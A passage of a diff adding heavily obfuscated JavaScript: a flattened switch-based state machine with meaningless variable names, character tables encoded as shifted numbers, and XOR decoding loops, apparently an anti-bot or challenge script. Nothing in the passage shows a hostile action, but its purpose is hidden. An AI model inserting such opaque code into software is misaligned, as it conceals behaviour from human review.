= _$Fr; + _$le = _$Yr; + _$he = _$be[_$le]; + _$ge = 5; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$_e = _$ye + } + break; + case 63: + _$Pr = [149, 123, 142, 136, 65, 128, 139, 74, 135, 133, 144, 86, 126, 116, 9, 160, 138, 62, 113, 188]; + break; + case 64: + _$Xe = _$Xe + _$BC; + _$Gr = [184, 111, 124, 199, 175, 151, 180, 172, 42, 221, 171, 97, 174, 89, 50, 177, 173, 80, 110, 52]; + break; + case 65: + _$hv = 1; + break; + case 66: + try { + _$oe = DOM; + _$Qr = _$oe + } catch (_$a) {} + break; + case 67: + for (_$Nr = 0; _$Nr < _$sr.length; _$Nr++) { + _$oe = _$Mv; + _$be = _$sr; + _$le = _$Nr; + _$he = _$be[_$le]; + _$ge = 13; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$Mv = _$ye + } + break; + case 68: + _$ar++; + break; + case 69: + _$tr = _$cr.length; + break; + case 70: + for (_$Zr = 1; _$Zr < _$mv.length; _$Zr++) { + _$oe = _$mv; + _$be = _$OC; + _$le = _$Zr; + _$he = _$oe[_$be](_$le); + _$ge = _$Tv; + _$ue = _$OC; + _$pe = _$Zr; + _$ye = 1; + _$we = _$pe - _$ye; + _$de = _$ge[_$ue](_$we); + _$Me = _$he - _$de; + _$Ie = _$bW(_$Me); + _$Tv += _$Ie + } + break; + case 71: + _$zr = _$BC; + break; + case 72: + for (_$Er = 0; _$Er < _$vs.length; _$Er++) { + _$oe = _$vs; + _$be = _$Er; + _$le = _$oe[_$be]; + _$he = _$ie + _$te; + _$ge = 2; + _$ue = _$le[_$he](_$ge); + _$ns = _$ue; + _$oe = _$ns; + _$be = _$LS; + _$le = /^1+?(?=0)/; + _$he = _$oe[_$be](_$le); + _$fs = _$he; + _$oe = _$fs; + _$be = _$oe; + if (_$be) { + _$qe = _$ns; + _$He = _$PC; + _$Rr = _$qe[_$He]; + _$_r = 8; + _$be = _$Rr === _$_r + } + if (_$be) { + _$oe = _$fs; + _$be = 0; + _$le = _$oe[_$be]; + _$he = _$PC; + _$ge = _$le[_$he]; + _$ts = _$ge; + _$oe = _$vs; + _$be = _$Er; + _$le = _$oe[_$be]; + _$he = _$ne + _$fe; + _$ge = 2; + _$ue = _$le[_$he](_$ge); + _$pe = _$_S; + _$ye = 7; + _$we = _$ts; + _$de = _$ye - _$we; + _$Me = _$ue[_$pe](_$de); + _$is = _$Me; + for (_$Lr = 0; _$Lr < _$ts; _$Lr++) { + _$oe = _$vs; + _$be = _$Lr; + _$le = _$Er; + _$he = _$be + _$le; + _$ge = _$oe[_$he]; + _$ue = _$ie + _$te; + _$pe = 2; + _$ye = _$ge[_$ue](_$pe); + _$we = _$_S; + _$de = 2; + _$Me = _$ye[_$we](_$de); + _$is += _$Me + } + _$oe = _$is; + _$be = 2; + _$le = parseInt(_$oe, _$be); + _$he = _$bW(_$le); + _$ss += _$he; + _$oe = _$ts; + _$be = 1; + _$le = _$oe - _$be; + _$Er += _$le + } else { + _$oe = _$vs; + _$be = _$Er; + _$le = _$oe[_$be]; + _$he = _$bW(_$le); + _$ss += _$he + } + } + break; + case 73: + for (_$Vr = 0; _$Vr < _$ur.length; _$Vr++) { + _$oe = _$ur; + _$be = _$Vr; + _$le = _$oe[_$be]; + _$he = _$ur; + _$ge = _$Vr; + _$ue = _$he[_$ge]; + _$pe = _$le * _$ue; + _$Le += _$pe + } + break; + case 74: + _$gv = [229376, 233472, 227328, 237568, 227328, 237568, 247808, 229376, 206848]; + break; + case 75: + _$rr = _$e; + break; + case 76: + _$zv = [1622016, 1654784, 1720320, 1769472]; + break; + case 77: + _$qr = cipher[_$ys](_$BC); + _$Hr = _$_o; + _$xr = 1; + break; + case 78: + _$qr[_$zr](); + break; + case 79: + _$tc = _$tc - _$fc[6]; + break; + case 80: + if (_$fc[6] - _$fc[5] > 0) { + _$oe = _$tc; + _$be = _$fc; + _$le = 3; + _$he = _$be[_$le]; + _$ge = _$oe + _$he; + _$tc = _$ge; + _$oe = _$tc; + _$be = _$fc; + _$le = 2; + _$he = _$be[_$le]; + _$ge = _$oe + _$he; + _$ue = _$fc; + _$pe = 5; + _$ye = _$ue[_$pe]; + _$we = _$ge - _$ye; + _$tc = _$we + } else { + _$oe = _$tc; + _$be = _$fc; + _$le = 6; + _$he = _$be[_$le]; + _$ge = _$oe * _$he; + _$tc = _$ge; + _$oe = _$tc; + _$be = _$fc; + _$le = 2; + _$he = _$be[_$le]; + _$ge = _$oe - _$he; + _$tc = _$ge + } + break; + case 81: + _$Br = _$BC; + _$Cr.apply(_$Ye, _$Bv); + break; + case 82: + _$ks = _$ks + 1; + break; + case 83: + _$xe = _$Mv; + break; + case 84: + _$tc = _$tc - _$fc[2]; + break; + case 85: + _$pv = _$pv + 1; + break; + case 86: + _$Xr = _$Ro; + _$Fr = 1; + break; + case 87: + _$Jr = false; + break; + case 88: + _$fc = []; + _$ic = _$ve + _$se; + break; + case 89: + for (_$oc = 0, + _$kc = _$xY.length; _$oc < _$kc; ++_$oc) { + _$oe = _$xY; + _$be = _$oc; + _$le = _$oe[_$be]; + _$he = _$bW(_$le); + _$bc = _$he; + _$ge = _$Eo; + _$lc = _$ge; + _$ue = 1; + _$hc = _$ue; + _$oe = _$hc; + _$be = 1; + _$le = _$oe + _$be; + _$hc = _$le; + _$oe = 1; + _$lc = _$oe; + _$oe = _$BC; + _$gc = _$oe; + _$oe = _$hc; + _$lc = _$oe; + _$oe = 6656; + _$be = 6208; + _$le = 7360; + _$he = 5056; + _$ge = 7616; + _$ue = 7040; + _$pe = 5120; + _$ye = 7296; + _$we = 7104; + _$de = 7168; + _$Me = 6464; + _$Ie = 7296; + _$Ae = 7424; + _$Se = 7744; + _$me = [_$oe, _$be, _$le, _$he, _$ge, _$ue, _$pe, _$ye, _$we, _$de, _$Me, _$Ie, _$Ae, _$Se]; + _$hc = _$me; + for (_$uc = 0; _$uc < _$hc.length; _$uc++) { + _$oe = _$gc; + _$be = _$hc; + _$le = _$uc; + _$he = _$be[_$le]; + _$ge = 6; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$gc = _$ye + } + _$oe = _$hc; + _$be = _$LC; + _$le = _$lc; + _$he = _$oe[_$be](_$le); + _$hc = _$he; + _$oe = _$Pv; + _$be = _$gc; + _$le = _$bc; + _$he = _$oe[_$be](_$le); + if (_$he) { + _$oe = _$Pv; + _$be = _$bc; + _$le = _$oe[_$be]; + _$Gv += _$le + } + } + break; + case 90: + _$tc = _$tc * _$fc[6]; + break; + case 91: + _$fc[4] = _$tc - _$fc[5]; + break; + case 92: + for (_$pc = 0; _$pc < _$pv.length; _$pc++) { + _$oe = _$Ze; + _$be = _$pv; + _$le = _$pc; + _$he = _$be[_$le]; + _$ge = 15; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$Ze = _$ye + } + break; + case 93: + if (_$tc - _$fc[6]) { + _$oe = _$tc; + _$be = _$fc; + _$le = 3; + _$he = _$be[_$le]; + _$ge = _$oe + _$he; + _$tc = _$ge + } + break; + case 94: + _$ec = _$ec / 2; + _$Cr.apply(_$Ye, _$jr); + break; + case 95: + _$yc = _$Tv; + break; + case 96: + _$ps = _$ps.p(_$us); + break; + case 97: + for (_$wc = 0; _$wc < _$Wv.length; ) { + _$oe = _$Qv; + _$be = _$_C; + _$le = _$Wv; + _$he = _$_C; + _$ge = _$wc; + _$ue = _$le[_$he](_$ge); + _$pe = _$OC; + _$ye = _$ue[_$pe](); + _$we = 32; + _$de = _$ye - _$we; + _$Me = _$oe[_$be](_$de); + _$dc = _$Me; + _$Ie = _$Qv; + _$Ae = _$_C; + _$Se = _$Wv; + _$me = _$_C; + _$Te = _$wc; + _$je = 1; + _$Ce = _$Te + _$je; + _$De = _$Se[_$me](_$Ce); + _$Ke = _$OC; + _$Qe = _$De[_$Ke](); + _$We = 32; + _$Mc = _$Qe - _$We; + _$Ic = _$Ie[_$Ae](_$Mc); + _$Ac = _$Ic; + _$oe = _$Yv; + _$be = _$dc; + _$le = _$Ac; + _$oe[_$be] = _$le; + _$oe = _$wc; + _$be = 2; + _$le = _$oe + _$be; + _$wc = _$le + } + _$Cr.apply(_$Ye, _$Ir); + break; + case 98: + if (_$Fe) { + _$oe = 0; + _$Tc = _$oe; + _$be = 0; + _$jc = _$be; + _$le = []; + _$Cc = _$le; + for (_$Dc = 0; _$Dc < _$kY.length; _$Dc++) { + _$oe = _$kY; + _$be = _$Dc; + _$le = _$oe[_$be]; + _$he = _$Sc; + _$ge = _$le === _$he; + if (_$ge) { + _$Tc++ + } else { + _$oe = _$kY; + _$be = _$Dc; + _$le = _$oe[_$be]; + _$he = _$mc; + _$ge = _$le === _$he; + if (_$ge) { + _$jc++ + } else { + _$oe = _$Tc; + _$be = 0; + _$le = _$oe === _$be; + if (_$le) { + _$oe = _$kY; + _$be = _$Dc; + _$le = _$oe[_$be]; + _$Sc = _$le; + _$Tc++ + } else { + _$oe = _$jc; + _$be = 0; + _$le = _$oe === _$be; + if (_$le) { + _$oe = _$kY; + _$be = _$Dc; + _$le = _$oe[_$be]; + _$mc = _$le; + _$jc++ + } else { + _$Tc--; + _$jc-- + } + } + } + } + } + _$oe = 0; + _$be = _$jc = _$oe; + _$Tc = _$be; + for (_$Dc = 0; _$Dc < _$kY.length; _$Dc++) { + _$oe = _$kY; + _$be = _$Dc; + _$le = _$oe[_$be]; + _$he = _$Sc; + _$ge = _$le === _$he; + if (_$ge) { + _$Tc++ + } + _$oe = _$kY; + _$be = _$Dc; + _$le = _$oe[_$be]; + _$he = _$mc; + _$ge = _$le === _$he; + if (_$ge) { + _$jc++ + } + } + _$oe = _$Tc; + _$be = _$kY; + _$le = _$PC; + _$he = _$be[_$le]; + _$ge = 3; + _$ue = _$he / _$ge; + _$pe = _$oe > _$ue; + if (_$pe) { + _$oe = _$Cc; + _$be = _$LC; + _$le = _$Sc; + _$oe[_$be](_$le) + } + _$oe = _$jc; + _$be = _$kY; + _$le = _$PC; + _$he = _$be[_$le]; + _$ge = 3; + _$ue = _$he / _$ge; + _$pe = _$oe > _$ue; + if (_$pe) { + _$oe = _$Cc; + _$be = _$LC; + _$le = _$mc; + _$oe[_$be](_$le) + } + _$oe = _$Cc; + _$Je = _$oe + } else { + _$oe = 0; + _$Wc = _$oe; + _$be = 0; + _$Yc = _$be; + _$le = []; + _$Uc = _$le; + for (_$Oc = 0; _$Oc < _$KW.length; _$Oc++) { + _$oe = _$KW; + _$be = _$Oc; + _$le = _$oe[_$be]; + _$he = _$Kc; + _$ge = _$le === _$he; + if (_$ge) { + _$Wc++ + } else { + _$oe = _$KW; + _$be = _$Oc; + _$le = _$oe[_$be]; + _$he = _$Qc; + _$ge = _$le === _$he; + if (_$ge) { + _$Yc++ + } else { + _$oe = _$Wc; + _$be = 0; + _$le = _$oe === _$be; + if (_$le) { + _$oe = _$KW; + _$be = _$Oc; + _$le = _$oe[_$be]; + _$Kc = _$le; + _$Wc++ + } else { + _$oe = _$Yc; + _$be = 0; + _$le = _$oe === _$be; + if (_$le) { + _$oe = _$KW; + _$be = _$Oc; + _$le = _$oe[_$be]; + _$Qc = _$le; + _$Yc++ + } else { + _$Wc--; + _$Yc-- + } + } + } + } + } + _$oe = 0; + _$be = _$Yc = _$oe; + _$Wc = _$be; + for (_$Oc = 0; _$Oc < _$KW.length; _$Oc++) { + _$oe = _$KW; + _$be = _$Oc; + _$le = _$oe[_$be]; + _$he = _$Kc; + _$ge = _$le === _$he; + if (_$ge) { + _$Wc++ + } + _$oe = _$KW; + _$be = _$Oc; + _$le = _$oe[_$be]; + _$he = _$Qc; + _$ge = _$le === _$he; + if (_$ge) { + _$Yc++ + } + } + _$oe = _$Wc; + _$be = _$KW; + _$le = _$PC; + _$he = _$be[_$le]; + _$ge = 3; + _$ue = _$he / _$ge; + _$pe = _$oe > _$ue; + if (_$pe) { + _$oe = _$Uc; + _$be = _$LC; + _$le = _$Kc; + _$oe[_$be](_$le) + } + _$oe = _$Yc; + _$be = _$KW; + _$le = _$PC; + _$he = _$be[_$le]; + _$ge = 3; + _$ue = _$he / _$ge; + _$pe = _$oe > _$ue; + if (_$pe) { + _$oe = _$Uc; + _$be = _$LC; + _$le = _$Qc; + _$oe[_$be](_$le) + } + _$oe = _$Uc; + _$Je = _$oe + } + break; + case 99: + for (_$Pc = 0; _$Pc < _$zv.length; _$Pc++) { + _$oe = _$Tr; + _$be = _$zv; + _$le = _$Pc; + _$he = _$be[_$le]; + _$ge = 14; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$Tr = _$ye + } + break; + case 100: + try { + _$oe = _$cr; + _$be = _$ar; + _$le = _$Fe; + _$he = 0; + _$ge = _$le[_$he]; + _$oe[_$be] = _$ge + } catch (_$a) { + _$oe = true; + _$Jr = _$oe + } + break; + case 101: + _$Gc = _$zo; + _$Nc = 1; + break; + case 102: + _$ec = _$Wr.length; + break; + case 103: + _$cr[_$ar] = _$Je[0]; + break; + case 104: + break; + case 105: + _$xr = _$xr.p(_$Hr); + break; + case 106: + _$Fe = _$JY(_$hW, 2); + break; + case 107: + _$Nc = _$Nc + 1; + break; + case 108: + _$Ec = 0; + _$Rc = 1; + _$_c = 0; + break; + case 109: + _$xr = [58880, 56832, 58368, 59392]; + break; + case 110: + _$Zv = 1; + break; + case 111: + _$Lc = 255; + _$Vc = [1]; + _$qc = 0; + _$Hc = 0; + _$xc = 0; + break; + case 112: + _$rc = 0; + break; + case 113: + _$Fr = _$Fr.p(_$Xr); + break; + case 114: + _$Bc = false; + break; + case 115: + _$Xe = _$JY(_$gY, 1); + break; + case 116: + _$Xr = 1; + break; + case 117: + _$ar++; + break; + case 118: + _$Re = _$Re.p(_$Ee); + break; + case 119: + _$ar++; + break; + case 120: + try { + _$oe = Loc; + _$Xc = _$oe + } catch (_$a) { + _$oe = 345; + _$Mr = _$oe + } + break; + case 121: + for (_$Fc = 0; _$Fc < _$ZY.length; _$Fc++) { + _$oe = _$Fc; + _$be = _$Zc; + _$le = _$oe % _$be; + _$zc = _$le; + _$oe = _$ZY; + _$be = _$Fc; + _$le = _$ZY; + _$he = _$Fc; + _$ge = _$le[_$he]; + _$ue = _$MW; + _$pe = _$zc; + _$ye = _$ue[_$pe]; + _$we = _$ge ^ _$ye; + _$oe[_$be] = _$we + } + _$Cr.apply(_$Ye, _$Pr); + break; + case 122: + _$cr = []; + break; + case 123: + for (_$Jc = 0; _$Jc < _$gY.length; _$Jc++) { + _$oe = _$Jc; + _$be = _$nr; + _$le = _$oe % _$be; + _$fr = _$le; + _$oe = _$gY; + _$be = _$Jc; + _$le = _$gY; + _$he = _$Jc; + _$ge = _$le[_$he]; + _$ue = _$a; + _$pe = _$fr; + _$ye = _$ue[_$pe]; + _$we = _$ge ^ _$ye; + _$oe[_$be] = _$we + } + break; + case 124: + _$tc = _$tc + _$fc[6]; + break; + case 125: + _$$c = []; + break; + case 126: + _$Fr = _$Fr + 1; + break; + case 127: + _$MW = new Array; + break; + case 128: + _$av = _$BC; + break; + case 129: + _$cr[_$ar] = _$Je[0]; + break; + case 130: + if (_$ur != _$yr) { + _$oe = _$ur; + _$be = _$BC; + _$le = _$oe + _$be; + _$ur = _$le; + _$oe = 0; + _$ev = _$oe; + for (_$rv = 0; _$rv < _$ur.length; _$rv++) { + _$oe = _$ur; + _$be = _$rv; + _$le = _$oe[_$be]; + _$he = _$ur; + _$ge = _$rv; + _$ue = _$he[_$ge]; + _$pe = _$le * _$ue; + _$ev += _$pe + } + _$oe = _$ev; + _$ur = _$oe; + _$oe = _$yr; + _$be = _$BC; + _$le = _$oe + _$be; + _$yr = _$le; + _$oe = 0; + _$cv = _$oe; + for (_$vv = 0; _$vv < _$yr.length; _$vv++) { + _$oe = _$yr; + _$be = _$vv; + _$le = _$oe[_$be]; + _$he = _$yr; + _$ge = _$vv; + _$ue = _$he[_$ge]; + _$pe = _$le * _$ue; + _$cv += _$pe + } + _$oe = _$cv; + _$sv = _$oe; + _$oe = _$sv; + _$be = _$BC; + _$le = _$oe + _$be; + _$sv = _$le; + _$oe = 0; + _$nv = _$oe; + for (_$fv = 0; _$fv < _$sv.length; _$fv++) { + _$oe = _$sv; + _$be = _$fv; + _$le = _$oe[_$be]; + _$he = _$sv; + _$ge = _$fv; + _$ue = _$he[_$ge]; + _$pe = _$le * _$ue; + _$nv += _$pe + } + _$oe = _$nv; + _$yr = _$oe + } + break; + case 131: + _$tv = _$cs; + _$iv = new Array; + break; + case 132: + _$$r = _$ic.length; + break; + case 133: + for (_$ov = 0; _$ov < _$gv.length; _$ov++) { + _$oe = _$av; + _$be = _$gv; + _$le = _$ov; + _$he = _$be[_$le]; + _$ge = 11; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$av = _$ye + } + break; + case 134: + _$pv = _$pv.p(_$uv); + break; + case 135: + _$tc = _$tc - _$fc[2]; + break; + case 136: + _$gv = _$gv + 1; + break; + case 137: + _$Nc = _$Nc.p(_$Gc); + break; + case 138: + _$Fr = [3104, 3584, 3584, 3456, 3872]; + break; + case 139: + _$hv = _$gv; + break; + case 140: + _$Qr = typeof _$mY[_$Iv] === _$Br; + _$kv = _$Qa + _$Pa + _$Za + _$Ea + _$qa + _$_a + _$ja + _$Ga + _$Ia + _$$a + _$ee + _$Sa + _$Ba + _$Ka + _$Ua + _$Oa + _$Ja + _$re + _$Xa + _$Na + _$ae + _$xa + _$Ma + _$Ca + _$La + _$ce + _$Wa + _$Ya + _$Ha + _$Ta + _$Ra + _$Aa + _$Da + _$Fa + _$za + _$ma + _$Va; + _$bv = 1; + break; + case 141: + _$Je = _$JY(_$XW, 1); + _$lv = [48, 18, 84, 92, 134, 44, 41, 120, 63, 156, 157, 104, 150, 121, 15, 153, 23, 69, 1, 21]; + break; + case 142: + _$hv = _$Zo; + _$gv = 1; + break; + case 143: + _$Zv = _$zv; + break; + case 144: + _$gv = _$gv.p(_$hv); + break; + case 145: + _$uv = _$No; + _$pv = 1; + break; + case 146: + for (_$yv = 0; _$yv < _$ec; _$yv++) { + _$oe = _$Wr; + _$be = _$rc; + _$le = _$oe[_$be]; + _$sc = _$le; + _$oe = _$Wr; + _$be = _$rc; + _$le = 1; + _$he = _$be + _$le; + _$ge = _$oe[_$he]; + _$nc = _$ge; + _$oe = _$rc; + _$be = 2; + _$le = _$oe + _$be; + _$rc = _$le; + _$oe = _$sc; + _$be = 46; + _$le = _$oe - _$be; + _$sc = _$le; + _$oe = _$nc; + _$be = 46; + _$le = _$oe - _$be; + _$nc = _$le; + _$oe = _$nc; + _$be = 19; + _$le = _$oe * _$be; + _$he = _$sc; + _$ge = _$le + _$he; + _$vc = _$ge; + _$oe = _$vc; + _$be = 11; + _$le = _$oe ^ _$be; + _$cc = _$le; + _$oe = _$vs; + _$be = _$yv; + _$le = _$cc; + _$oe[_$be] = _$le + } + break; + case 147: + _$fc[8] = _$tc / _$fc[4]; + break; + case 148: + _$cr[_$ar] = _$$e; + break; + case 149: + _$nr = _$a.length; + break; + case 150: + _$Zc = _$MW.length; + break; + case 151: + _$wv = _$ya + _$ka + _$ca + _$B + _$E + _$pa + _$da + _$ea + _$J + _$ia + _$sa + _$ga + _$L + _$x + _$la + _$ua + _$ha + _$na + _$ba + _$z + _$q + _$Z + _$oa + _$$ + _$V + _$va + _$H + _$wa + _$aa + _$X + _$fa + _$ra + _$_ + _$ta + _$N + _$G + _$R + _$F; + _$dv = _$bW(_$wv.d(0) - _$wv.length); + break; + case 152: + _$Mv = _$BC; + break; + case 153: + _$cr[_$ar] = _$er; + break; + case 154: + _$Iv = _$BC; + break; + case 155: + _$Av = _$fc[0]; + break; + case 156: + _$Ur = _$MW.length; + break; + case 157: + for (_$Sv = 0; _$Sv < _$YY.length; _$Sv++) { + _$oe = _$Sv; + _$be = _$Ur; + _$le = _$oe % _$be; + _$Or = _$le; + _$oe = _$YY; + _$be = _$Sv; + _$le = _$YY; + _$he = _$Sv; + _$ge = _$le[_$he]; + _$ue = _$MW; + _$pe = _$Or; + _$ye = _$ue[_$pe]; + _$we = _$ge ^ _$ye; + _$oe[_$be] = _$we + } + break; + case 158: + _$us = _$ps; + break; + case 159: + _$ar++; + break; + case 160: + _$Xr = _$Fr; + break; + case 161: + _$mv = _$I + _$D + _$Y + _$j + _$p + _$m + _$A + _$S + _$C + _$M + _$w + _$Q + _$y + _$U + _$P + _$T + _$O + _$d + _$W + _$K; + _$Tv = _$bW(_$mv.d(0) - _$mv.length); + break; + case 162: + _$kv = _$kv * 5; + break; + case 163: + for (_$Ge = 0; _$Ge < _$ze; _$Ge++) { + for (_$Ne = 0; _$Ne < _$Nv; _$Ne++) { + _$oe = _$Kv; + _$be = _$Ge; + _$le = _$oe[_$be]; + _$he = _$Ne; + _$ge = _$Rv; + _$ue = _$Ge; + _$pe = _$ge[_$ue]; + _$ye = _$Ne; + _$we = _$pe[_$ye]; + _$le[_$he] = _$we + } + } + break; + case 164: + while (_$_c < 31) { + _$oe = 1; + _$be = _$Rc; + _$le = _$oe & _$be; + _$he = 4; + _$ge = _$Rc; + _$ue = _$he & _$ge; + _$pe = _$le !== _$ue; + if (_$pe) { + ++_$Ec + } + _$oe = _$Rc; + _$be = 1; + _$le = _$oe << _$be; + _$Rc = _$le; + ++_$_c + } + break; + case 165: + for (_$kr = 0; _$kr <= _$jv; _$kr++) { + _$oe = _$Dv; + _$be = 0; + _$le = _$oe[_$be]; + _$he = _$kr; + _$ge = 1; + _$le[_$he] = _$ge + } + break; + case 166: + _$jv = _$xe.length; + _$Cv = _$Be.length; + _$Dv = []; + break; + case 167: + _$Kv = new Array(_$ze); + break; + case 168: + _$Ar = _$Ms(_$Ar); + break; + case 169: + _$tc = _$tc / _$fc[4]; + break; + case 170: + _$os = _$ks; + break; + case 171: + _$Qv = _$Ov; + break; + case 172: + _$Wv = _$dv; + _$Yv = {}; + _$Uv = _$I + _$o + _$l + _$c + _$g + _$h + _$v + _$i + _$s + _$k + _$M + _$w + _$Q + _$y + _$U + _$n + _$f + _$t + _$u + _$b + _$r; + _$Ov = _$bW(_$Uv.d(0) - _$Uv.length); + break; + case 173: + _$zv = _$zv + 1; + break; + case 174: + _$Pv = _$Yv; + _$Gv = _$BC; + break; + case 175: + _$$e = _$Vc[_$Vc.length - 2]; + break; + case 176: + _$Fe = _$ur == 1; + break; + case 177: + _$Nv = cipher.length; + _$Zv = _$Go; + _$zv = 1; + break; + case 178: + _$Xe = _$Dv[_$Cv][_$jv]; + break; + case 179: + _$Gc = 1; + break; + case 180: + for (_$Ev = 1; _$Ev < _$wv.length; _$Ev++) { + _$oe = _$wv; + _$be = _$OC; + _$le = _$Ev; + _$he = _$oe[_$be](_$le); + _$ge = _$dv; + _$ue = _$OC; + _$pe = _$Ev; + _$ye = 1; + _$we = _$pe - _$ye; + _$de = _$ge[_$ue](_$we); + _$Me = _$he - _$de; + _$Ie = _$bW(_$Me); + _$dv += _$Ie + } + break; + case 181: + _$cr[_$ar] = _$xe[0]; + break; + case 182: + _$tc = _$tc - _$fc[2]; + break; + case 183: + _$Rv = new Array(_$ze); + break; + case 184: + if (_$Je.length == 0) { + _$oe = 27; + _$be = [_$oe]; + _$Je = _$be + } + break; + case 185: + for (_$_v = 0; _$_v < _$Re.length; _$_v++) { + _$oe = _$Iv; + _$be = _$Re; + _$le = _$_v; + _$he = _$be[_$le]; + _$ge = 11; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$Iv = _$ye + } + break; + case 186: + _$Be = _$ss; + break; + case 187: + _$cr[_$ar] = _$Xe[0]; + _$Cr.apply(_$Ye, _$mr); + break; + case 188: + return Array[_$av].p[_$_e](_$a, _$cr); + case 189: + for (_$Lv = 0; _$Lv < _$kv.length; _$Lv++) { + _$oe = _$$c; + _$be = _$LC; + _$le = _$kv; + _$he = _$_C; + _$ge = _$bv; + _$ue = _$Lv; + _$pe = _$ge[_$ue]; + _$ye = _$le[_$he](_$pe); + _$oe[_$be](_$ye) + } + _$Vv = [2, 169, 39, 30, 158, 211, 210, 96, 45, 168, 27, 207, 82, 93, 11, 220, 170, 58, 34, 191]; + break; + case 190: + for (_$qv = 0; _$qv < _$rs.length; ) { + _$oe = _$yc; + _$be = _$_C; + _$le = _$rs; + _$he = _$_C; + _$ge = _$qv; + _$ue = _$le[_$he](_$ge); + _$pe = _$OC; + _$ye = _$ue[_$pe](); + _$we = 32; + _$de = _$ye - _$we; + _$Me = _$oe[_$be](_$de); + _$Hv = _$Me; + _$Ie = _$yc; + _$Ae = _$_C; + _$Se = _$rs; + _$me = _$_C; + _$Te = _$qv; + _$je = 1; + _$Ce = _$Te + _$je; + _$De = _$Se[_$me](_$Ce); + _$Ke = _$OC; + _$Qe = _$De[_$Ke](); + _$We = 32; + _$Mc = _$Qe - _$We; + _$Ic = _$Ie[_$Ae](_$Mc); + _$xv = _$Ic; + _$oe = _$cs; + _$be = _$Hv; + _$le = _$xv; + _$oe[_$be] = _$le; + _$oe = _$qv; + _$be = 2; + _$le = _$oe + _$be; + _$qv = _$le + } + break; + case 191: + _$ks = _$ks.p(_$os); + break; + case 192: + _$Ee = 1; + _$Bv = [79, 140, 38, 217, 162, 125, 196, 208, 189, 214, 203, 54, 161, 70, 95, 190, 131, 57, 195, 219]; + break; + case 193: + _$ar++; + break; + case 194: + for (_$kr = 1; _$kr <= _$Cv; _$kr++) { + for (_$lr = 1; _$lr <= _$jv; _$lr++) { + _$oe = _$Be; + _$be = _$kr; + _$le = 1; + _$he = _$be - _$le; + _$ge = _$oe[_$he]; + _$ue = _$xe; + _$pe = _$lr; + _$ye = 1; + _$we = _$pe - _$ye; + _$de = _$ue[_$we]; + _$Me = _$ge == _$de; + if (_$Me) { + _$oe = _$Dv; + _$be = _$kr; + _$le = _$oe[_$be]; + _$he = _$lr; + _$ge = _$Dv; + _$ue = _$kr; + _$pe = _$ge[_$ue]; + _$ye = _$lr; + _$we = 1; + _$de = _$ye - _$we; + _$Me = _$pe[_$de]; + _$Ie = _$Dv; + _$Ae = _$kr; + _$Se = 1; + _$me = _$Ae - _$Se; + _$Te = _$Ie[_$me]; + _$je = _$lr; + _$Ce = 1; + _$De = _$je - _$Ce; + _$Ke = _$Te[_$De]; + _$Qe = _$Me + _$Ke; + _$le[_$he] = _$Qe + } else { + _$oe = _$Dv; + _$be = _$kr; + _$le = _$oe[_$be]; + _$he = _$lr; + _$ge = _$Dv; + _$ue = _$kr; + _$pe = _$ge[_$ue]; + _$ye = _$lr; + _$we = 1; + _$de = _$ye - _$we; + _$Me = _$pe[_$de]; + _$le[_$he] = _$Me + } + } + } + break; + case 195: + for (_$Ge = 0; _$Ge < _$rr.length; _$Ge++) { + _$oe = _$iv; + _$be = _$Ge; + _$le = _$tv; + _$he = _$rr; + _$ge = _$_C; + _$ue = _$Ge; + _$pe = _$he[_$ge](_$ue); + _$ye = _$le[_$pe]; + _$we = _$OC; + _$de = _$ye[_$we](); + _$oe[_$be] = _$de + } + break; + case 196: + _$kv = _$bv; + break; + case 197: + _$Gc = _$Nc; + break; + case 198: + for (_$Ge = 0; _$Ge < _$ze; _$Ge++) { + _$oe = _$Kv; + _$be = _$Ge; + _$le = Array; + _$he = _$Nv; + _$ge = new _$le(_$he); + _$oe[_$be] = _$ge + } + break; + case 199: + while (_$Lc > 0) { + _$oe = _$Po; + _$Xv = _$oe; + _$be = 1; + _$Fv = _$be; + _$oe = _$Fv; + _$be = 1; + _$le = _$oe + _$be; + _$Fv = _$le; + _$oe = 1; + _$Xv = _$oe; + _$oe = _$BC; + _$Jv = _$oe; + _$oe = _$Fv; + _$Xv = _$oe; + _$oe = 872; + _$be = 840; + _$le = 880; + _$he = [_$oe, _$be, _$le]; + _$Fv = _$he; + for (_$$v = 0; _$$v < _$Fv.length; _$$v++) { + _$oe = _$Jv; + _$be = _$Fv; + _$le = _$$v; + _$he = _$be[_$le]; + _$ge = 3; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$Jv = _$ye + } + _$oe = _$Fv; + _$be = _$LC; + _$le = _$Xv; + _$he = _$oe[_$be](_$le); + _$Fv = _$he; + _$oe = Math; + _$be = _$Jv; + _$le = _$Vc; + _$he = _$qc; + _$ge = _$le[_$he]; + _$ue = 2; + _$pe = _$ge * _$ue; + _$ye = _$Vc; + _$we = _$Hc; + _$de = _$ye[_$we]; + _$Me = 3; + _$Ie = _$de * _$Me; + _$Ae = _$Vc; + _$Se = _$xc; + _$me = _$Ae[_$Se]; + _$Te = 5; + _$je = _$me * _$Te; + _$Ce = _$oe[_$be](_$pe, _$Ie, _$je); + _$as = _$Ce; + _$oe = _$Vc; + _$be = _$LC; + _$le = _$as; + _$oe[_$be](_$le); + _$oe = _$Vc; + _$be = _$qc; + _$le = _$oe[_$be]; + _$he = 2; + _$ge = _$le * _$he; + _$ue = _$as; + _$pe = _$ge == _$ue; + if (_$pe) { + _$qc++ + } + _$oe = _$Vc; + _$be = _$Hc; + _$le = _$oe[_$be]; + _$he = 3; + _$ge = _$le * _$he; + _$ue = _$as; + _$pe = _$ge == _$ue; + if (_$pe) { + _$Hc++ + } + _$oe = _$Vc; + _$be = _$xc; + _$le = _$oe[_$be]; + _$he = 5; + _$ge = _$le * _$he; + _$ue = _$as; + _$pe = _$ge == _$ue; + if (_$pe) { + _$xc++ + } + _$Lc-- + } + break; + case 200: + for (_$Ge = 0; _$Ge < _$qr.length; _$Ge++) 